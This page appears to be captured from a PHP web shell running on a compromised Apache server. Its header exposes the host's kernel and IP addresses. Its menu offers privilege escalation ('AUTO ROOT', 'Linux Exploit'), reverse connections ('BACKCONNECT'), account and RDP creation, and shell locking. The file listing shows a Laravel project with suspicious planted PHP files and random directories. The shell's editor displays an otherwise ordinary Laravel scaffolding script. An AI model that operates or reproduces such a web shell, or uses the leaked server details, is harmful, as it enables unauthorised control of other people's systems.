Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.19
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signalcareercompass.io /
[ HOME SHELL ]
Name
Size
Permission
Action
app
[ DIR ]
drwxrwxrwx
assets
[ DIR ]
drwxr-xr-x
bootstrap
[ DIR ]
drwxrwxrwx
config
[ DIR ]
drwxrwxrwx
database
[ DIR ]
drwxrwxrwx
myihzgv
[ DIR ]
drwxr-xr-x
nzgrjx1
[ DIR ]
drwxr-xr-x
pqvgdeu
[ DIR ]
drwxr-xr-x
pqzeivd
[ DIR ]
drwxr-xr-x
public
[ DIR ]
drwxr-x---
resources
[ DIR ]
drwxrwxrwx
routes
[ DIR ]
drwxrwxrwx
signal-career-compass
[ DIR ]
drwxrwxrwx
spyjrak
[ DIR ]
drwxr-xr-x
storage
[ DIR ]
drwxrwxr-x
tests
[ DIR ]
drwxrwxrwx
utclpyq
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxrwxrwx
zji1ldc
[ DIR ]
drwxr-xr-x
zpvnxts
[ DIR ]
drwxr-xr-x
.editorconfig
275
B
-rw-rw-rw-
.env
1.32
KB
-rw-rw-rw-
.env.example
1.06
KB
-rw-rw-rw-
.gitattributes
186
B
-rw-rw-rw-
.gitignore
341
B
-rw-rw-rw-
.htaccess
204
B
-rw-rw-rw-
.npmrc
31
B
-rw-rw-rw-
.phpunit.result.cache
264
B
-rw-rw-rw-
222.php
15.76
KB
-rw-r--r--
README.md
3.61
KB
-rw-rw-rw-
artisan
425
B
-rw-rw-rw-
build_full_views.php
33.93
KB
-rw-rw-rw-
build_full_views_part2.php
15.35
KB
-rw-rw-rw-
build_full_views_part3.php
14.8
KB
-rw-rw-rw-
buy.php
77.43
KB
-rw-r--r--
composer.json
2.77
KB
-rw-rw-rw-
composer.lock
303.44
KB
-rw-rw-rw-
def.html
263
B
-rw-r--r--
filefuns.php
5.86
KB
-r--r--r--
generate_files.php
37.56
KB
-rw-rw-rw-
goat1.php
143.87
KB
-rw-r--r--
package-lock.json
69.26
KB
-rw-rw-rw-
package.json
384
B
-rw-rw-rw-
phpunit.xml
1.29
KB
-rw-rw-rw-
seed_jobs_now.php
5.5
KB
-rw-r--r--
signal-career-compass.zip
57.52
MB
-rw-r--r--
vite.config.js
632
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : generate_files.php
<?php /** * Signal Career Compass - Laravel File Generator * Creates all remaining migrations, models, middleware, controllers, and routes * Run with: php generate_files.php */ $base = __DIR__; function writeFile($path, $content) { global $base; $full = $base . '/' . $path; $dir = dirname($full); if (!is_dir($dir)) mkdir($dir, 0777, true); file_put_contents($full, $content); echo "Created: $path\n"; } // ========================================== // MIGRATIONS 5-19 // ========================================== writeFile('database/migrations/2026_08_08_000005_create_candidates_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'candidates\', function (Blueprint $table) { $table->id(); $table->foreignId(\'user_id\')->constrained()->cascadeOnDelete(); $table->json(\'skills\')->nullable(); $table->json(\'experience\')->nullable(); $table->text(\'education\')->nullable(); $table->text(\'summary\')->nullable(); $table->text(\'about_me\')->nullable(); $table->text(\'avatar\')->nullable(); $table->string(\'expected_salary\')->nullable(); $table->string(\'preferred_work_arrangement\')->nullable(); $table->string(\'stage\')->default(\'applied\'); $table->string(\'hired_organization\')->nullable(); $table->boolean(\'banned\')->default(false); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'candidates\'); } };'); writeFile('database/migrations/2026_08_08_000006_create_onboarding_records_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'onboarding_records\', function (Blueprint $table) { $table->id(); $table->foreignId(\'user_id\')->nullable()->constrained()->nullOnDelete(); $table->foreignId(\'tenant_id\')->nullable()->constrained()->nullOnDelete(); $table->string(\'employee_id\')->nullable(); $table->string(\'name\'); $table->string(\'email\'); $table->string(\'phone\')->nullable(); $table->string(\'department\')->nullable(); $table->string(\'designation\')->nullable(); $table->date(\'joining_date\')->nullable(); $table->enum(\'status\', [\'Pending\', \'Active\', \'Completed\'])->default(\'Active\'); $table->integer(\'progress\')->default(0); $table->json(\'documents\')->nullable(); $table->json(\'video_progress\')->nullable(); $table->json(\'checklist_progress\')->nullable(); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'onboarding_records\'); } };'); writeFile('database/migrations/2026_08_08_000007_create_training_videos_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'training_videos\', function (Blueprint $table) { $table->id(); $table->foreignId(\'tenant_id\')->constrained()->cascadeOnDelete(); $table->string(\'title\'); $table->text(\'url\'); $table->string(\'duration\')->nullable(); $table->string(\'department\')->nullable(); $table->json(\'assigned_employee_ids\')->nullable(); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'training_videos\'); } };'); writeFile('database/migrations/2026_08_08_000008_create_onboarding_checklists_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'onboarding_checklists\', function (Blueprint $table) { $table->id(); $table->foreignId(\'tenant_id\')->constrained()->cascadeOnDelete(); $table->string(\'title\'); $table->string(\'department\')->nullable(); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'onboarding_checklists\'); } };'); writeFile('database/migrations/2026_08_08_000009_create_courses_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'courses\', function (Blueprint $table) { $table->id(); $table->foreignId(\'tenant_id\')->nullable()->constrained()->nullOnDelete(); $table->string(\'title\'); $table->string(\'provider\')->nullable(); $table->string(\'duration\')->nullable(); $table->json(\'skills\')->nullable(); $table->string(\'level\')->default(\'Beginner\'); $table->text(\'description\')->nullable(); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'courses\'); } };'); writeFile('database/migrations/2026_08_08_000010_create_universities_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'universities\', function (Blueprint $table) { $table->id(); $table->foreignId(\'tenant_id\')->nullable()->constrained()->nullOnDelete(); $table->string(\'name\'); $table->text(\'logo\')->nullable(); $table->integer(\'courses_count\')->default(0); $table->string(\'sync_status\')->default(\'Disconnected\'); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'universities\'); } };'); writeFile('database/migrations/2026_08_08_000011_create_conversations_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'conversations\', function (Blueprint $table) { $table->id(); $table->foreignId(\'participant_1_id\')->constrained(\'users\')->cascadeOnDelete(); $table->foreignId(\'participant_2_id\')->constrained(\'users\')->cascadeOnDelete(); $table->string(\'name\')->nullable(); $table->string(\'avatar_initials\')->nullable(); $table->string(\'avatar_color\')->nullable(); $table->text(\'avatar_url\')->nullable(); $table->string(\'applicant_name\')->nullable(); $table->string(\'applicant_email\')->nullable(); $table->string(\'recruiter_name\')->nullable(); $table->string(\'company_name\')->nullable(); $table->text(\'last_message\')->nullable(); $table->timestamp(\'last_message_at\')->nullable(); $table->integer(\'unread_count\')->default(0); $table->foreignId(\'tenant_id\')->nullable()->constrained()->nullOnDelete(); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'conversations\'); } };'); writeFile('database/migrations/2026_08_08_000012_create_messages_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'messages\', function (Blueprint $table) { $table->id(); $table->foreignId(\'conversation_id\')->constrained()->cascadeOnDelete(); $table->foreignId(\'sender_id\')->constrained(\'users\')->cascadeOnDelete(); $table->string(\'sender_name\')->nullable(); $table->string(\'sender_email\')->nullable(); $table->text(\'sender_avatar_url\')->nullable(); $table->text(\'text\')->nullable(); $table->json(\'attachments\')->nullable(); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'messages\'); } };'); writeFile('database/migrations/2026_08_08_000013_create_social_posts_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'social_posts\', function (Blueprint $table) { $table->id(); $table->foreignId(\'user_id\')->constrained()->cascadeOnDelete(); $table->foreignId(\'tenant_id\')->nullable()->constrained()->nullOnDelete(); $table->text(\'text\'); $table->json(\'tags\')->nullable(); $table->json(\'media\')->nullable(); $table->json(\'likes\')->nullable(); $table->json(\'saved_by\')->nullable(); $table->json(\'reports\')->nullable(); $table->integer(\'shares\')->default(0); $table->string(\'author_name\')->nullable(); $table->string(\'author_email\')->nullable(); $table->enum(\'author_type\', [\'organization\', \'seeker\'])->default(\'seeker\'); $table->string(\'organization_name\')->nullable(); $table->string(\'visibility\')->default(\'public\'); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'social_posts\'); } };'); writeFile('database/migrations/2026_08_08_000014_create_social_comments_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'social_comments\', function (Blueprint $table) { $table->id(); $table->foreignId(\'social_post_id\')->constrained()->cascadeOnDelete(); $table->foreignId(\'user_id\')->constrained()->cascadeOnDelete(); $table->unsignedBigInteger(\'parent_id\')->nullable(); $table->text(\'text\'); $table->timestamps(); $table->foreign(\'parent_id\')->references(\'id\')->on(\'social_comments\')->nullOnDelete(); }); } public function down(): void { Schema::dropIfExists(\'social_comments\'); } };'); writeFile('database/migrations/2026_08_08_000015_create_custom_roles_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'custom_roles\', function (Blueprint $table) { $table->id(); $table->foreignId(\'tenant_id\')->constrained()->cascadeOnDelete(); $table->string(\'name\'); $table->text(\'description\')->nullable(); $table->json(\'permissions\')->nullable(); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'custom_roles\'); } };'); writeFile('database/migrations/2026_08_08_000016_create_departments_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'departments\', function (Blueprint $table) { $table->id(); $table->foreignId(\'tenant_id\')->constrained()->cascadeOnDelete(); $table->string(\'name\'); $table->string(\'code\')->nullable(); $table->text(\'description\')->nullable(); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'departments\'); } };'); writeFile('database/migrations/2026_08_08_000017_create_franchise_lifecycles_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'franchise_lifecycles\', function (Blueprint $table) { $table->id(); $table->foreignId(\'tenant_id\')->nullable()->constrained()->nullOnDelete(); $table->string(\'candidate_email\'); $table->integer(\'phase\')->default(1); $table->string(\'stage\')->default(\'APPLICATION_SUBMITTED\'); $table->json(\'milestones\')->nullable(); $table->text(\'territory_counties\')->nullable(); $table->text(\'notes\')->nullable(); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'franchise_lifecycles\'); } };'); writeFile('database/migrations/2026_08_08_000018_create_notifications_custom_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'notifications_custom\', function (Blueprint $table) { $table->id(); $table->foreignId(\'user_id\')->constrained()->cascadeOnDelete(); $table->string(\'title\'); $table->text(\'message\')->nullable(); $table->string(\'type\')->default(\'info\'); $table->boolean(\'read\')->default(false); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'notifications_custom\'); } };'); writeFile('database/migrations/2026_08_08_000019_create_settings_table.php', '<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create(\'settings\', function (Blueprint $table) { $table->id(); $table->string(\'key\')->unique(); $table->text(\'value\')->nullable(); $table->timestamps(); }); } public function down(): void { Schema::dropIfExists(\'settings\'); } };'); // ========================================== // MODELS // ========================================== writeFile('app/Models/User.php', '<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Notifiable; class User extends Authenticatable { use HasFactory, Notifiable; protected $fillable = [\'name\', \'email\', \'password\', \'role\', \'tenant_id\', \'avatar_url\', \'phone\', \'title\', \'location\']; protected $hidden = [\'password\', \'remember_token\']; protected function casts(): array { return [\'email_verified_at\' => \'datetime\', \'password\' => \'hashed\']; } public function tenant() { return $this->belongsTo(Tenant::class); } public function candidate() { return $this->hasOne(Candidate::class); } public function applications() { return $this->hasMany(Application::class); } public function onboardingRecord() { return $this->hasOne(OnboardingRecord::class); } public function isSuperAdmin() { return $this->role === \'super-admin\'; } public function isTenantAdmin() { return $this->role === \'tenant-admin\'; } public function isRecruiter() { return $this->role === \'recruiter\'; } public function isSeeker() { return $this->role === \'seeker\'; } public function isHiredEmployee() { return $this->applications()->where(\'status\', \'Hired\')->exists(); } public function getDefaultRoute() { return match($this->role) { \'super-admin\' => \'admin.control-center\', \'tenant-admin\' => \'enterprise.dashboard\', \'recruiter\' => \'enterprise.applications\', \'seeker\' => \'seeker.job-feed\', default => \'landing\', }; } }'); $models = [ ['Tenant', 'tenant_id', '[\'name\', \'domain\', \'owner_name\', \'owner_email\', \'admin_email\', \'theme_color\', \'sidebar_color\', \'logo_url\', \'status\', \'license_tier\', \'royalty_rate\', \'monthly_billing\', \'password\', \'features\', \'company_profile\']', '[\'features\' => \'array\', \'company_profile\' => \'array\']', 'public function users() { return $this->hasMany(User::class); } public function jobs() { return $this->hasMany(JobPosting::class); } public function applications() { return $this->hasMany(Application::class); } public function departments() { return $this->hasMany(Department::class); } public function customRoles() { return $this->hasMany(CustomRole::class); }'], ['JobPosting', 'tenant_id', '[\'tenant_id\', \'title\', \'location\', \'company\', \'salary\', \'description\', \'requirements\', \'status\', \'views\', \'applicants_count\', \'posted_at\', \'franchise_logo\']', '[\'requirements\' => \'array\', \'posted_at\' => \'date\']', 'public function tenant() { return $this->belongsTo(Tenant::class); } public function applications() { return $this->hasMany(Application::class); }'], ['Application', 'tenant_id', '[\'job_posting_id\', \'user_id\', \'tenant_id\', \'applicant_name\', \'applicant_email\', \'applicant_phone\', \'applicant_avatar_url\', \'applicant_title\', \'applicant_location\', \'applicant_summary\', \'applicant_skills\', \'resume_url\', \'resume_file_name\', \'experience_summary\', \'custom_answer\', \'custom_answers\', \'company\', \'status\', \'applied_date\', \'match_score\', \'owner_approved\', \'owner_approved_by\', \'owner_approved_at\']', '[\'applicant_skills\' => \'array\', \'custom_answers\' => \'array\', \'applied_date\' => \'date\']', 'public function jobPosting() { return $this->belongsTo(JobPosting::class); } public function user() { return $this->belongsTo(User::class); } public function tenant() { return $this->belongsTo(Tenant::class); }'], ['Candidate', 'user_id', '[\'user_id\', \'skills\', \'experience\', \'education\', \'summary\', \'about_me\', \'avatar\', \'expected_salary\', \'preferred_work_arrangement\', \'stage\', \'hired_organization\', \'banned\']', '[\'skills\' => \'array\', \'experience\' => \'array\']', 'public function user() { return $this->belongsTo(User::class); }'], ['OnboardingRecord', 'tenant_id', '[\'user_id\', \'tenant_id\', \'employee_id\', \'name\', \'email\', \'phone\', \'department\', \'designation\', \'joining_date\', \'status\', \'progress\', \'documents\', \'video_progress\', \'checklist_progress\']', '[\'documents\' => \'array\', \'video_progress\' => \'array\', \'checklist_progress\' => \'array\', \'joining_date\' => \'date\']', 'public function user() { return $this->belongsTo(User::class); } public function tenant() { return $this->belongsTo(Tenant::class); }'], ['TrainingVideo', 'tenant_id', '[\'tenant_id\', \'title\', \'url\', \'duration\', \'department\', \'assigned_employee_ids\']', '[\'assigned_employee_ids\' => \'array\']', 'public function tenant() { return $this->belongsTo(Tenant::class); }'], ['OnboardingChecklist', 'tenant_id', '[\'tenant_id\', \'title\', \'department\']', '[]', 'public function tenant() { return $this->belongsTo(Tenant::class); }'], ['Course', 'tenant_id', '[\'tenant_id\', \'title\', \'provider\', \'duration\', \'skills\', \'level\', \'description\']', '[\'skills\' => \'array\']', 'public function tenant() { return $this->belongsTo(Tenant::class); }'], ['University', 'tenant_id', '[\'tenant_id\', \'name\', \'logo\', \'courses_count\', \'sync_status\']', '[]', 'public function tenant() { return $this->belongsTo(Tenant::class); }'], ['Conversation', null, '[\'participant_1_id\', \'participant_2_id\', \'name\', \'avatar_initials\', \'avatar_color\', \'avatar_url\', \'applicant_name\', \'applicant_email\', \'recruiter_name\', \'company_name\', \'last_message\', \'last_message_at\', \'unread_count\', \'tenant_id\']', '[\'last_message_at\' => \'datetime\']', 'public function participant1() { return $this->belongsTo(User::class, \'participant_1_id\'); } public function participant2() { return $this->belongsTo(User::class, \'participant_2_id\'); } public function messages() { return $this->hasMany(Message::class); }'], ['Message', null, '[\'conversation_id\', \'sender_id\', \'sender_name\', \'sender_email\', \'sender_avatar_url\', \'text\', \'attachments\']', '[\'attachments\' => \'array\']', 'public function conversation() { return $this->belongsTo(Conversation::class); } public function sender() { return $this->belongsTo(User::class, \'sender_id\'); }'], ['SocialPost', null, '[\'user_id\', \'tenant_id\', \'text\', \'tags\', \'media\', \'likes\', \'saved_by\', \'reports\', \'shares\', \'author_name\', \'author_email\', \'author_type\', \'organization_name\', \'visibility\']', '[\'tags\' => \'array\', \'media\' => \'array\', \'likes\' => \'array\', \'saved_by\' => \'array\', \'reports\' => \'array\']', 'public function user() { return $this->belongsTo(User::class); } public function comments() { return $this->hasMany(SocialComment::class); }'], ['SocialComment', null, '[\'social_post_id\', \'user_id\', \'parent_id\', \'text\']', '[]', 'public function socialPost() { return $this->belongsTo(SocialPost::class); } public function user() { return $this->belongsTo(User::class); } public function parent() { return $this->belongsTo(SocialComment::class, \'parent_id\'); } public function replies() { return $this->hasMany(SocialComment::class, \'parent_id\'); }'], ['CustomRole', 'tenant_id', '[\'tenant_id\', \'name\', \'description\', \'permissions\']', '[\'permissions\' => \'array\']', 'public function tenant() { return $this->belongsTo(Tenant::class); }'], ['Department', 'tenant_id', '[\'tenant_id\', \'name\', \'code\', \'description\']', '[]', 'public function tenant() { return $this->belongsTo(Tenant::class); }'], ['FranchiseLifecycle', 'tenant_id', '[\'tenant_id\', \'candidate_email\', \'phase\', \'stage\', \'milestones\', \'territory_counties\', \'notes\']', '[\'milestones\' => \'array\']', 'public function tenant() { return $this->belongsTo(Tenant::class); }'], ['Setting', null, '[\'key\', \'value\']', '[]', ''], ]; foreach ($models as $m) { $name = $m[0]; $fillable = $m[2]; $casts = $m[3]; $rels = $m[4]; $castsLine = $casts !== '[]' ? "\n protected \$casts = $casts;" : ''; $table = $name === 'Setting' ? "\n protected \$table = 'settings';" : ''; if ($name === 'AppNotification') { $table = "\n protected \$table = 'notifications_custom';"; } writeFile("app/Models/$name.php", "<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Factories\HasFactory; class $name extends Model { use HasFactory; protected \$fillable = $fillable;$castsLine$table $rels }"); } // AppNotification (separate from Laravel's Notification) writeFile('app/Models/AppNotification.php', '<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Factories\HasFactory; class AppNotification extends Model { use HasFactory; protected $table = \'notifications_custom\'; protected $fillable = [\'user_id\', \'title\', \'message\', \'type\', \'read\']; public function user() { return $this->belongsTo(User::class); } }'); // ========================================== // MIDDLEWARE // ========================================== writeFile('app/Http/Middleware/RoleMiddleware.php', '<?php namespace App\Http\Middleware; use Closure; use Illuminate\Http\Request; use Symfony\Component\HttpFoundation\Response; class RoleMiddleware { public function handle(Request $request, Closure $next, ...$roles): Response { if (!auth()->check()) { return redirect()->route(\'login\'); } if (!in_array(auth()->user()->role, $roles)) { abort(403, \'Unauthorized\'); } return $next($request); } }'); // ========================================== // AUTH CONTROLLER // ========================================== writeFile('app/Http/Controllers/Auth/AuthController.php', '<?php namespace App\Http\Controllers\Auth; use App\Http\Controllers\Controller; use App\Models\User; use App\Models\Candidate; use App\Models\Tenant; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; class AuthController extends Controller { public function showLogin() { return view(\'auth.login\'); } public function login(Request $request) { $request->validate([\'email\' => \'required|email\', \'password\' => \'required\']); if (Auth::attempt($request->only(\'email\', \'password\'), $request->filled(\'remember\'))) { $request->session()->regenerate(); return redirect()->route(Auth::user()->getDefaultRoute()); } return back()->withErrors([\'email\' => \'Invalid credentials.\'])->onlyInput(\'email\'); } public function showRegister() { return view(\'auth.register\'); } public function register(Request $request) { $request->validate([ \'name\' => \'required|string|max:255\', \'email\' => \'required|email|unique:users\', \'password\' => \'required|confirmed|min:6\', \'role\' => \'required|in:seeker,tenant-admin\', ]); $user = User::create([ \'name\' => $request->name, \'email\' => $request->email, \'password\' => $request->password, \'role\' => $request->role, ]); if ($request->role === \'seeker\') { Candidate::create([\'user_id\' => $user->id]); } if ($request->role === \'tenant-admin\' && $request->filled(\'organization_name\')) { $tenant = Tenant::create([ \'name\' => $request->organization_name, \'domain\' => $request->organization_domain, \'owner_name\' => $request->name, \'owner_email\' => $request->email, \'admin_email\' => $request->email, \'status\' => \'Active\', ]); $user->update([\'tenant_id\' => $tenant->id]); } Auth::login($user); return redirect()->route($user->getDefaultRoute()); } public function logout(Request $request) { Auth::logout(); $request->session()->invalidate(); $request->session()->regenerateToken(); return redirect()->route(\'landing\'); } }'); // ========================================== // STUB CONTROLLERS // ========================================== writeFile('app/Http/Controllers/PublicController.php', '<?php namespace App\Http\Controllers; class PublicController extends Controller { public function landing() { return view(\'public.landing\'); } }'); // Admin writeFile('app/Http/Controllers/Admin/SuperAdminController.php', '<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; class SuperAdminController extends Controller { public function index() { return view(\'placeholder\', [\'pageTitle\' => \'Global Control Center\', \'pageIcon\' => \'🛡️\']); } }'); // Enterprise Controllers $entControllers = [ ['TenantStudioController', 'Enterprise Studio', '🎨'], ['EntApplicationController', 'Applications Inbox', '📥', true], ['EntJobController', 'Job Management', '📋', false, true], ['SourcingController', 'Candidate Sourcing', '🔍'], ['PipelineController', 'Recruitment Pipeline', '🔀'], ['EntDashboardController', 'Analytics Dashboard', '📊'], ['EntOnboardingController', 'Employee Onboarding', '✅'], ['RoleController', 'Roles & Access', '🔐'], ['EntCompanyProfileController', 'Company Profile', '🏢'], ['WorkforceController', 'Workforce Planning', '📈'], ['MatchingController', 'Matching Engine', '🧠'], ['EntCourseController', 'Course Studio', '🎓'], ['EntUniversityController', 'University Connector', '🔗'], ['FranchiseController', 'Franchise Portal', '🏪'], ]; foreach ($entControllers as $c) { $name = $c[0]; $title = $c[1]; $icon = $c[2]; $hasUpdateStatus = $c[3] ?? false; $hasJobCrud = $c[4] ?? false; $extra = ''; if ($hasUpdateStatus) { $extra = ' public function updateStatus(\Illuminate\Http\Request $request, $id) { return redirect()->route(\'enterprise.applications\'); }'; } if ($hasJobCrud) { $extra = ' public function create() { return view(\'placeholder\', [\'pageTitle\' => \'Create Job Post\', \'pageIcon\' => \'✏️\']); } public function store(\Illuminate\Http\Request $request) { return redirect()->route(\'enterprise.jobs\'); } public function edit($id) { return view(\'placeholder\', [\'pageTitle\' => \'Edit Job Post\', \'pageIcon\' => \'✏️\']); } public function update(\Illuminate\Http\Request $request, $id) { return redirect()->route(\'enterprise.jobs\'); }'; } writeFile("app/Http/Controllers/Enterprise/$name.php", "<?php namespace App\Http\Controllers\Enterprise; use App\Http\Controllers\Controller; class $name extends Controller { public function index() { return view('placeholder', ['pageTitle' => '$title', 'pageIcon' => '$icon']); }$extra }"); } // Seeker Controllers $seekerControllers = [ ['JobFeedController', 'AI Job Feed', '🔍'], ['JobMapController', 'Job Location Map', '🗺️'], ['SeekerApplicationController', 'My Applications', '📋'], ['SeekerOnboardingController', 'My Onboarding', '✅'], ['SeekerProfileController', 'My Profile', '👤', true], ['ResumeController', 'AI Resume Builder', '📄'], ['InterviewController', 'Mock Interview AI', '🎙️'], ['TrainingController', 'Learning Hub', '🎓'], ['AcademicController', 'Academic Track', '🏫'], ['CompanyDirectoryController', 'Company Directory', '🏢'], ]; foreach ($seekerControllers as $c) { $name = $c[0]; $title = $c[1]; $icon = $c[2]; $hasUpdate = $c[3] ?? false; $extra = $hasUpdate ? ' public function update(\Illuminate\Http\Request $request) { return redirect()->route(\'seeker.profile\'); }' : ''; writeFile("app/Http/Controllers/Seeker/$name.php", "<?php namespace App\Http\Controllers\Seeker; use App\Http\Controllers\Controller; class $name extends Controller { public function index() { return view('placeholder', ['pageTitle' => '$title', 'pageIcon' => '$icon']); }$extra }"); } // Shared Controllers $sharedControllers = [ ['MessageController', 'Messages', '💬'], ['SocialFeedController', 'Social Feed', '👥'], ['AiCoachController', 'AI Career Coach', '🤖'], ['SettingsController', 'Settings', '⚙️'], ]; foreach ($sharedControllers as $c) { writeFile("app/Http/Controllers/Shared/{$c[0]}.php", "<?php namespace App\Http\Controllers\Shared; use App\Http\Controllers\Controller; class {$c[0]} extends Controller { public function index() { return view('placeholder', ['pageTitle' => '{$c[1]}', 'pageIcon' => '{$c[2]}']); } }"); } // ========================================== // ROUTES // ========================================== writeFile('routes/web.php', '<?php use Illuminate\Support\Facades\Route; use App\Http\Controllers\Auth\AuthController; use App\Http\Controllers\PublicController; use App\Http\Controllers\Admin\SuperAdminController; use App\Http\Controllers\Enterprise\TenantStudioController; use App\Http\Controllers\Enterprise\EntApplicationController; use App\Http\Controllers\Enterprise\EntJobController; use App\Http\Controllers\Enterprise\SourcingController; use App\Http\Controllers\Enterprise\PipelineController; use App\Http\Controllers\Enterprise\EntDashboardController; use App\Http\Controllers\Enterprise\EntOnboardingController; use App\Http\Controllers\Enterprise\RoleController; use App\Http\Controllers\Enterprise\EntCompanyProfileController; use App\Http\Controllers\Enterprise\WorkforceController; use App\Http\Controllers\Enterprise\MatchingController; use App\Http\Controllers\Enterprise\EntCourseController; use App\Http\Controllers\Enterprise\EntUniversityController; use App\Http\Controllers\Enterprise\FranchiseController; use App\Http\Controllers\Seeker\JobFeedController; use App\Http\Controllers\Seeker\JobMapController; use App\Http\Controllers\Seeker\SeekerApplicationController; use App\Http\Controllers\Seeker\SeekerOnboardingController; use App\Http\Controllers\Seeker\SeekerProfileController; use App\Http\Controllers\Seeker\ResumeController; use App\Http\Controllers\Seeker\InterviewController; use App\Http\Controllers\Seeker\TrainingController; use App\Http\Controllers\Seeker\AcademicController; use App\Http\Controllers\Seeker\CompanyDirectoryController; use App\Http\Controllers\Shared\MessageController; use App\Http\Controllers\Shared\SocialFeedController; use App\Http\Controllers\Shared\AiCoachController; use App\Http\Controllers\Shared\SettingsController; // Public Route::get(\'/\', [PublicController::class, \'landing\'])->name(\'landing\'); // Auth Route::middleware(\'guest\')->group(function () { Route::get(\'/login\', [AuthController::class, \'showLogin\'])->name(\'login\'); Route::post(\'/login\', [AuthController::class, \'login\']); Route::get(\'/register\', [AuthController::class, \'showRegister\'])->name(\'register\'); Route::post(\'/register\', [AuthController::class, \'register\']); }); Route::post(\'/logout\', [AuthController::class, \'logout\'])->name(\'logout\')->middleware(\'auth\'); // Super Admin Route::middleware([\'auth\', \'role:super-admin\'])->prefix(\'admin\')->name(\'admin.\')->group(function () { Route::get(\'/control-center\', [SuperAdminController::class, \'index\'])->name(\'control-center\'); }); // Enterprise Route::middleware([\'auth\', \'role:tenant-admin,recruiter\'])->prefix(\'enterprise\')->name(\'enterprise.\')->group(function () { Route::get(\'/studio\', [TenantStudioController::class, \'index\'])->name(\'studio\'); Route::get(\'/applications\', [EntApplicationController::class, \'index\'])->name(\'applications\'); Route::patch(\'/applications/{id}/status\', [EntApplicationController::class, \'updateStatus\'])->name(\'applications.update-status\'); Route::get(\'/jobs\', [EntJobController::class, \'index\'])->name(\'jobs\'); Route::get(\'/jobs/create\', [EntJobController::class, \'create\'])->name(\'jobs.create\'); Route::post(\'/jobs\', [EntJobController::class, \'store\'])->name(\'jobs.store\'); Route::get(\'/jobs/{id}/edit\', [EntJobController::class, \'edit\'])->name(\'jobs.edit\'); Route::patch(\'/jobs/{id}\', [EntJobController::class, \'update\'])->name(\'jobs.update\'); Route::get(\'/sourcing\', [SourcingController::class, \'index\'])->name(\'sourcing\'); Route::get(\'/pipeline\', [PipelineController::class, \'index\'])->name(\'pipeline\'); Route::get(\'/dashboard\', [EntDashboardController::class, \'index\'])->name(\'dashboard\'); Route::get(\'/onboarding\', [EntOnboardingController::class, \'index\'])->name(\'onboarding\'); 